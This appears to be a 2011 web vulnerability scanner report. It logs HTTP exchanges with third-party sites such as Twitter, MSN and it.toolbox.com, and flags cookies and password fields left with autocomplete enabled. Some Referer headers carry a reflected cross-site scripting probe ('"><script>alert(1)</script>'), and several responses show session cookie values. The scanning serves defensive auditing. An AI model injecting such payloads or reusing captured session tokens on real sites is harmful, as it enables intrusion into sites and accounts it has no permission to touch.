Request
GET /hotels/North_America/United_States_of_America/Massachusetts/Boston-794476/Hotels_and_Accommodations-Boston-Millennium_Bostonian_Hotel-BR-1.html HTTP/1.1 Host: www.virtualtourist.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: Jetty(6.1.14) Vary: Accept-Encoding,User-Agent Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 16:18:16 GMT Content-Language: en Connection: close Set-Cookie: VTT=64.14.197.3.1296663496.485621; Path=/; Domain=.virtualtourist.com Content-Length: 87089
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en"> <head ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /tool/view/mb/file?username=acslinda&id=512851 HTTP/1.1 Host: www.websitetoolbox.com Proxy-Connection: keep-alive Referer: http://www.worldmastiffforum.com/?d11e2%22%3E%3Cscript%3Ealert(1)%3C/script%3Ef6a009cb502=1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET / HTTP/1.1 Host: www.worldmastiffforum.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /file?id=858352 HTTP/1.1 Host: www.worldmastiffforum.com Proxy-Connection: keep-alive Referer: http://www.worldmastiffforum.com/?d11e2%22%3E%3Cscript%3Ealert(1)%3C/script%3Ef6a009cb502=1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: hascookies=1; newvisit=1296706072; lastvisit=1296706072
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /user/sqlrtfm HTTP/1.1 Host: www.youtube.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 303 See Other Date: Thu, 03 Feb 2011 04:07:11 GMT Server: Apache X-Content-Type-Options: nosniff Set-Cookie: use_hitbox=72c46ff6cbcdb7c5585c36411b6b334edAEAAAAw; path=/; domain=.youtube.com Set-Cookie: VISITOR_INFO1_LIVE=4OZBfTCMbDE; path=/; domain=.youtube.com; expires=Sat, 01-Oct-2011 04:07:11 GMT Set-Cookie: GEO=b5d573ea86f2fe3582072f5171923c13cwsAAAAzVVOtwdbzTUop7w==; path=/; domain=.youtube.com Expires: Tue, 27 Apr 1971 19:44:06 EST Content-Length: 0 Cache-Control: no-cache Location: http://www.youtube.com/das_captcha?next=/user/sqlrtfm Content-Type: text/html; charset=utf-8 Connection: close
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /15530/db/xg.gif?pid=15530&sid=10001&type=db&p_bid=4d1ec56b7612a62c HTTP/1.1 Host: xcdn.xgraph.net Proxy-Connection: keep-alive Referer: http://s7.addthis.com/static/r07/sh30.html Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: _xgcid=7AC30F7C62CFAB36F552D9C49D5A30EF; _xguid=8E756760D5075E9B78AC3BF5CB20BCB1; _mpush=2797DC348F9097BCD57A6B8F5F5D25DC
Response
HTTP/1.1 200 OK Content-Type: image/gif Server: Apache-Coyote/1.1 Content-Length: 43 Expires: Wed, 02 Feb 2011 15:14:45 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Wed, 02 Feb 2011 15:14:45 GMT Connection: close Set-Cookie: _mpush=A9F8E6728D95BAA8B046FEDC4DCC8AA2; Domain=.xgraph.net; Expires=Sat, 01-Feb-2014 15:14:45 GMT; Path=/ Set-Cookie: _push4xgat=1296659685256; Domain=.xgraph.net; Expires=Thu, 03-Feb-2011 15:14:45 GMT; Path=/ P3P: CP="NOI NID DSP LAW PSAa PSDa OUR BUS UNI COM NAV STA", policyref="http://xcdn.xgraph.net/w3c/p3p.xml"
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en-us/home HTTP/1.1 Host: zone.msn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 02 Feb 2011 16:18:19 GMT Server: Microsoft-IIS/6.0 P3P: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" SN: MSNG04 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: ZMisc=ClientCheck=Current; domain=zone.msn.com; path=/ Set-Cookie: ASP.NET_SessionId=qnkjon55feogfiy1wq0oci55; path=/; HttpOnly Cache-Control: private Expires: Wed, 02 Feb 2011 16:18:19 GMT Content-Type: text/html; charset=utf-8 Content-Length: 51664 Connection: close Vary: Accept-Encoding, User-Agent
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
Most browsers have a facility to remember user credentials that are entered into HTML forms. This function can be configured by the user and also by applications which employ user credentials. If the function is enabled, then credentials entered by the user are stored on their local computer and retrieved by the browser on future visits to the same application.
The stored credentials can be captured by an attacker who gains access to the computer, either locally or through some remote compromise. Further, methods have existed whereby a malicious web site can retrieve the stored credentials for other applications, by exploiting browser vulnerabilities or through application-level cross-domain attacks.
Issue remediation
To prevent browsers from storing credentials entered into HTML forms, you should include the attribute autocomplete="off" within the FORM tag (to protect all form fields) or within the relevant INPUT tags (to protect specific individual fields).
The page contains a form with the following action URL:
https://ads.pof.com/Default.aspx
The form contains the following password fields with autocomplete enabled:
user_password
user_password_confirm
Request
GET /Default.aspx HTTP/1.1 Host: ads.pof.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ASP.NET_SessionId=pf1zsia2vewc4vhyyu3ymws5;
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.0 X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Date: Sat, 05 Feb 2011 14:33:00 GMT Connection: close Content-Length: 25885
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>Local o ...[SNIP]... </div>
The page contains a form with the following action URL:
https://ads.pof.com/Default.aspx
The form contains the following password field with autocomplete enabled:
password
Request
GET /Default.aspx HTTP/1.1 Host: ads.pof.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ASP.NET_SessionId=pf1zsia2vewc4vhyyu3ymws5;
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.0 X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Date: Sat, 05 Feb 2011 14:33:00 GMT Connection: close Content-Length: 25885
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>Local o ...[SNIP]... </b>
The form contains the following password field with autocomplete enabled:
pass
Request
GET /blog.php?post=382978412130 HTTP/1.1 Host: blog.facebook.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: private, no-cache, no-store, must-revalidate Expires: Sat, 01 Jan 2000 00:00:00 GMT P3P: CP="Facebook does not have a P3P policy. Learn why here: http://fb.me/p3p" Pragma: no-cache Set-Cookie: datr=Fq5JTSw9c381ZCmsmGv_p6Xn; expires=Fri, 01-Feb-2013 19:18:46 GMT; path=/; domain=.facebook.com; httponly Set-Cookie: lsd=i0PHb; path=/; domain=.facebook.com Set-Cookie: reg_fb_gate=http%3A%2F%2Fblog.facebook.com%2Fblog.php%3Fpost%3D382978412130; path=/; domain=.facebook.com Set-Cookie: reg_fb_ref=http%3A%2F%2Fblog.facebook.com%2Fblog.php%3Fpost%3D382978412130; path=/; domain=.facebook.com Content-Type: text/html; charset=utf-8 Connection: close Date: Wed, 02 Feb 2011 19:18:46 GMT Content-Length: 30164
The form contains the following password field with autocomplete enabled:
V16$C1$PasswordTextbox
Request
GET /rez.aspx?&Chain=5303&start=16& HTTP/1.1 Host: gc.synxis.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_cc=true; s_sq=%5B%5BB%5D%5D; ASP.NET_SessionId=jtlir345s4fdq0eiwrrnxp45; mbox=check#true#1296574114|session#1296573995979-796819#1296575914;
Response
HTTP/1.1 200 OK Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 62574 Date: Tue, 01 Feb 2011 15:33:53 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
The page contains a form with the following action URL:
http://it.toolbox.com/blogs/database-soup
The form contains the following password field with autocomplete enabled:
ctl00$ctl00$m$txtSignin_Password
Request
GET /blogs/database-soup HTTP/1.1 Host: it.toolbox.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 61117 Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Date: Tue, 01 Feb 2011 14:26:28 GMT Connection: close
The page contains a form with the following action URL:
http://it.toolbox.com/blogs/database-talk
The form contains the following password field with autocomplete enabled:
ctl00$ctl00$m$txtSignin_Password
Request
GET /blogs/database-talk HTTP/1.1 Host: it.toolbox.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 63383 Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Date: Tue, 01 Feb 2011 14:26:26 GMT Connection: close
The page contains a form with the following action URL:
http://it.toolbox.com/blogs/db2luw
The form contains the following password field with autocomplete enabled:
ctl00$ctl00$m$txtSignin_Password
Request
GET /blogs/db2luw HTTP/1.1 Host: it.toolbox.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 62898 Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Date: Tue, 01 Feb 2011 14:26:25 GMT Connection: close
The page contains a form with the following action URL:
http://it.toolbox.com/blogs/db2zos
The form contains the following password field with autocomplete enabled:
ctl00$ctl00$m$txtSignin_Password
Request
GET /blogs/db2zos HTTP/1.1 Host: it.toolbox.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 78281 Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Date: Tue, 01 Feb 2011 14:26:25 GMT Connection: close
The page contains a form with the following action URL:
http://it.toolbox.com/blogs/elsua
The form contains the following password field with autocomplete enabled:
ctl00$ctl00$m$txtSignin_Password
Request
GET /blogs/elsua HTTP/1.1 Host: it.toolbox.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 64411 Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Date: Tue, 01 Feb 2011 14:26:25 GMT Connection: close
The page contains a form with the following action URL:
http://it.toolbox.com/blogs/juice-analytics
The form contains the following password field with autocomplete enabled:
ctl00$ctl00$m$txtSignin_Password
Request
GET /blogs/juice-analytics HTTP/1.1 Host: it.toolbox.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 61828 Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Date: Tue, 01 Feb 2011 14:26:28 GMT Connection: close
The page contains a form with the following action URL:
http://it.toolbox.com/blogs/minimalit
The form contains the following password field with autocomplete enabled:
ctl00$ctl00$m$txtSignin_Password
Request
GET /blogs/minimalit HTTP/1.1 Host: it.toolbox.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 60029 Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Date: Tue, 01 Feb 2011 14:26:29 GMT Connection: close
The form contains the following password field with autocomplete enabled:
ctl00$ctl00$m$txtSignin_Password
Request
GET /blogs/penguinista-databasiensis HTTP/1.1 Host: it.toolbox.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 46021 Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Date: Tue, 01 Feb 2011 14:26:27 GMT Connection: close
The page contains a form with the following action URL:
http://it.toolbox.com/blogs/ppmtoday
The form contains the following password field with autocomplete enabled:
ctl00$ctl00$m$txtSignin_Password
Request
GET /blogs/ppmtoday HTTP/1.1 Host: it.toolbox.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 63632 Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Date: Tue, 01 Feb 2011 14:26:25 GMT Connection: close
HTTP/1.1 200 OK Date: Wed, 02 Feb 2011 19:00:33 GMT Server: Atomz/1.0 Content-Type: text/html Via: 1.1 publish.omniture.com:88 X-Cache: MISS from publish.omniture.com Keep-Alive: timeout=1, max=100 Connection: Keep-Alive X-Pad: avoid browser bug Content-Length: 10244
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <!-- Copyright (c) 2011 Adobe Systems Incorporated. All ri ...[SNIP]... <div id="left_panel">
HTTP/1.1 200 OK Date: Wed, 02 Feb 2011 19:00:29 GMT Server: Atomz/1.0 Set-Cookie: v1stsp=C92D8F8B772AFF13; path=/; expires=Wed, 19 Feb 2020 14:28:00 GMT; domain=.omniture.com Content-Type: text/html Via: 1.1 sitesearch.omniture.com:86 X-Cache: MISS from sitesearch.omniture.com Keep-Alive: timeout=1, max=100 Connection: Keep-Alive Content-Length: 10248
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <!-- Copyright (c) 2011 Adobe Systems Incorporated. All rights ...[SNIP]... <div id="left_panel">
The page contains a form with the following action URL:
https://twitter.com/sessions
The form contains the following password field with autocomplete enabled:
session[password]
Request
GET /BWBLLC HTTP/1.1 Host: twitter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 200 OK Date: Tue, 01 Feb 2011 14:32:48 GMT Server: hi Status: 200 OK X-Transaction: 1296570768-98244-59715 ETag: "ebdca5bd57211ed1c27e542912e61742" Last-Modified: Tue, 01 Feb 2011 14:32:48 GMT X-Runtime: 0.01599 Content-Type: text/html; charset=utf-8 Content-Length: 48897 Pragma: no-cache X-Revision: DEV Expires: Tue, 31 Mar 1981 05:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0 Set-Cookie: k=173.193.214.243.1296570765223791; path=/; expires=Tue, 08-Feb-11 14:32:45 GMT; domain=.twitter.com Set-Cookie: guest_id=129657076824620235; path=/; expires=Thu, 03 Mar 2011 14:32:48 GMT Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: _twitter_sess=BAh7CDoHaWQiJWRkMWJkNjNjOGU3MzQ2NWE5NTFhYjYzODhhMGE2NzNlIgpm%250AbGFzaElDOidBY3Rpb25Db250cm9sbGVyOjpGbGFzaDo6Rmxhc2hIYXNoewAG%250AOgpAdXNlZHsAOg9jcmVhdGVkX2F0bCsIeNuj4S0B--c9572565bc313082d5b9e07f8d706ef935c47b43; domain=.twitter.com; path=/ X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Connection: close
The page contains a form with the following action URL:
https://twitter.com/sessions
The form contains the following password field with autocomplete enabled:
session[password]
Request
GET /BW_Technology HTTP/1.1 Host: twitter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 200 OK Date: Tue, 01 Feb 2011 14:32:49 GMT Server: hi Status: 200 OK X-Transaction: 1296570769-95484-58827 ETag: "52999ee31da300d52a4b8d6a223f9979" Last-Modified: Tue, 01 Feb 2011 14:32:49 GMT X-Runtime: 0.01162 Content-Type: text/html; charset=utf-8 Content-Length: 35328 Pragma: no-cache X-Revision: DEV Expires: Tue, 31 Mar 1981 05:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0 Set-Cookie: k=173.193.214.243.1296570767091469; path=/; expires=Tue, 08-Feb-11 14:32:47 GMT; domain=.twitter.com Set-Cookie: guest_id=129657076911317049; path=/; expires=Thu, 03 Mar 2011 14:32:49 GMT Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: _twitter_sess=BAh7CDoHaWQiJTljYTdkYWIzMjIzZjYxMWJkNGYzYjJlNDQzYmNlMDc3Igpm%250AbGFzaElDOidBY3Rpb25Db250cm9sbGVyOjpGbGFzaDo6Rmxhc2hIYXNoewAG%250AOgpAdXNlZHsAOg9jcmVhdGVkX2F0bCsI296j4S0B--42513326a672403856d8e72f3be1e034918ba41e; domain=.twitter.com; path=/ X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Connection: close
The page contains a form with the following action URL:
https://twitter.com/sessions
The form contains the following password field with autocomplete enabled:
session[password]
Request
GET /NetworkConnects HTTP/1.1 Host: twitter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 200 OK Date: Tue, 01 Feb 2011 14:33:18 GMT Server: hi Status: 200 OK X-Transaction: 1296570798-63133-14648 ETag: "56c36945f01b3fa478765c1a8e7408bf" Last-Modified: Tue, 01 Feb 2011 14:33:18 GMT X-Runtime: 0.00770 Content-Type: text/html; charset=utf-8 Content-Length: 47947 Pragma: no-cache X-Revision: DEV Expires: Tue, 31 Mar 1981 05:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0 Set-Cookie: k=173.193.214.243.1296570798650092; path=/; expires=Tue, 08-Feb-11 14:33:18 GMT; domain=.twitter.com Set-Cookie: guest_id=129657079865736372; path=/; expires=Thu, 03 Mar 2011 14:33:18 GMT Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: _twitter_sess=BAh7CDoHaWQiJWEyN2JjYTllZTU4ZmQ5OWFkNzQ2MDFjNzgyMGI4Njk1Igpm%250AbGFzaElDOidBY3Rpb25Db250cm9sbGVyOjpGbGFzaDo6Rmxhc2hIYXNoewAG%250AOgpAdXNlZHsAOg9jcmVhdGVkX2F0bCsIQlKk4S0B--c2869b37ba3e800b99d06240d4d63125f6c1aac4; domain=.twitter.com; path=/ X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Connection: close
The page contains a form with the following action URL:
https://twitter.com/sessions
The form contains the following password field with autocomplete enabled:
session[password]
Request
GET /TomorrowCounsel HTTP/1.1 Host: twitter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 200 OK Date: Tue, 01 Feb 2011 14:32:47 GMT Server: hi Status: 200 OK X-Transaction: 1296570767-53246-29178 ETag: "4a914da96ee0a0a88be17c95038f30f6" Last-Modified: Tue, 01 Feb 2011 14:32:47 GMT X-Runtime: 0.00895 Content-Type: text/html; charset=utf-8 Content-Length: 38185 Pragma: no-cache X-Revision: DEV Expires: Tue, 31 Mar 1981 05:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0 Set-Cookie: k=173.193.214.243.1296570765453649; path=/; expires=Tue, 08-Feb-11 14:32:45 GMT; domain=.twitter.com Set-Cookie: guest_id=129657076796626435; path=/; expires=Thu, 03 Mar 2011 14:32:47 GMT Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: _twitter_sess=BAh7CDoHaWQiJTRkZWU5Mzk3OTY5YzNlY2U3NmEzNjRkYTVjNWM4ZmE4Igpm%250AbGFzaElDOidBY3Rpb25Db250cm9sbGVyOjpGbGFzaDo6Rmxhc2hIYXNoewAG%250AOgpAdXNlZHsAOg9jcmVhdGVkX2F0bCsIX9qj4S0B--75323e6281d6e07fad52c4d2694e81f66908fdb8; domain=.twitter.com; path=/ X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Connection: close
The page contains a form with the following action URL:
https://twitter.com/sessions
The form contains the following password field with autocomplete enabled:
session[password]
Request
GET /VirginiaBeachWk HTTP/1.1 Host: twitter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 200 OK Date: Tue, 01 Feb 2011 14:32:50 GMT Server: hi Status: 200 OK X-Transaction: 1296570770-54034-26380 ETag: "722e5a4a17a930dc410ddfa2dcfcf29f" Last-Modified: Tue, 01 Feb 2011 14:32:50 GMT X-Runtime: 0.00929 Content-Type: text/html; charset=utf-8 Content-Length: 43757 Pragma: no-cache X-Revision: DEV Expires: Tue, 31 Mar 1981 05:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0 Set-Cookie: k=173.193.214.243.1296570767721275; path=/; expires=Tue, 08-Feb-11 14:32:47 GMT; domain=.twitter.com Set-Cookie: guest_id=129657077046596591; path=/; expires=Thu, 03 Mar 2011 14:32:50 GMT Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: _twitter_sess=BAh7CDoHaWQiJWZmMzhmYWYzMjhjZDBhZmU3MGI3NGUzMzViZjgwOGYwIgpm%250AbGFzaElDOidBY3Rpb25Db250cm9sbGVyOjpGbGFzaDo6Rmxhc2hIYXNoewAG%250AOgpAdXNlZHsAOg9jcmVhdGVkX2F0bCsIIuSj4S0B--feaf2307ccc3ef42a4424cc41ad061fc85bcfc4c; domain=.twitter.com; path=/ X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Connection: close
The page contains a form with the following action URL:
https://twitter.com/sessions
The form contains the following password field with autocomplete enabled:
session[password]
Request
GET /Wyome655 HTTP/1.1 Host: twitter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 200 OK Date: Tue, 01 Feb 2011 14:32:52 GMT Server: hi Status: 200 OK X-Transaction: 1296570771-49392-27110 ETag: "8920930d7ac5f22d9c28d638bc510a43" Last-Modified: Tue, 01 Feb 2011 14:32:52 GMT X-Runtime: 0.01365 Content-Type: text/html; charset=utf-8 Content-Length: 49043 Pragma: no-cache X-Revision: DEV Expires: Tue, 31 Mar 1981 05:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0 Set-Cookie: k=173.193.214.243.1296570769541250; path=/; expires=Tue, 08-Feb-11 14:32:49 GMT; domain=.twitter.com Set-Cookie: guest_id=129657077200155260; path=/; expires=Thu, 03 Mar 2011 14:32:52 GMT Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: _twitter_sess=BAh7CDoHaWQiJTlhODFlYTZmZDMyOTVmOGEzNjU1YWQyOGVkYzU1NTdkIgpm%250AbGFzaElDOidBY3Rpb25Db250cm9sbGVyOjpGbGFzaDo6Rmxhc2hIYXNoewAG%250AOgpAdXNlZHsAOg9jcmVhdGVkX2F0bCsII%252Bqj4S0B--3dc2a7877e1c46c038d07097aebde48d6ed83ef5; domain=.twitter.com; path=/ X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Connection: close
The page contains a form with the following action URL:
https://twitter.com/sessions
The form contains the following password field with autocomplete enabled:
session[password]
Request
GET /best_golf HTTP/1.1 Host: twitter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 200 OK Date: Tue, 01 Feb 2011 14:32:52 GMT Server: hi Status: 200 OK X-Transaction: 1296570772-68378-30078 ETag: "942af770678a66a93ab8ed20fc7fbe09" Last-Modified: Tue, 01 Feb 2011 14:32:52 GMT X-Runtime: 0.01017 Content-Type: text/html; charset=utf-8 Content-Length: 49487 Pragma: no-cache X-Revision: DEV Expires: Tue, 31 Mar 1981 05:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0 Set-Cookie: k=173.193.214.243.1296570769287275; path=/; expires=Tue, 08-Feb-11 14:32:49 GMT; domain=.twitter.com Set-Cookie: guest_id=12965707721577760; path=/; expires=Thu, 03 Mar 2011 14:32:52 GMT Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: _twitter_sess=BAh7CDoHaWQiJTg0NDU2NzMyMGRkNmVhMmVmM2E3OTY3MzEzNDRhNmY3Igpm%250AbGFzaElDOidBY3Rpb25Db250cm9sbGVyOjpGbGFzaDo6Rmxhc2hIYXNoewAG%250AOgpAdXNlZHsAOg9jcmVhdGVkX2F0bCsIv%252Bqj4S0B--d65ee02c97fc9e9f3fae0cf9021c58b815ea69b0; domain=.twitter.com; path=/ X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Connection: close
The page contains a form with the following action URL:
https://twitter.com/sessions
The form contains the following password field with autocomplete enabled:
session[password]
Request
GET /buyantsogtoo HTTP/1.1 Host: twitter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
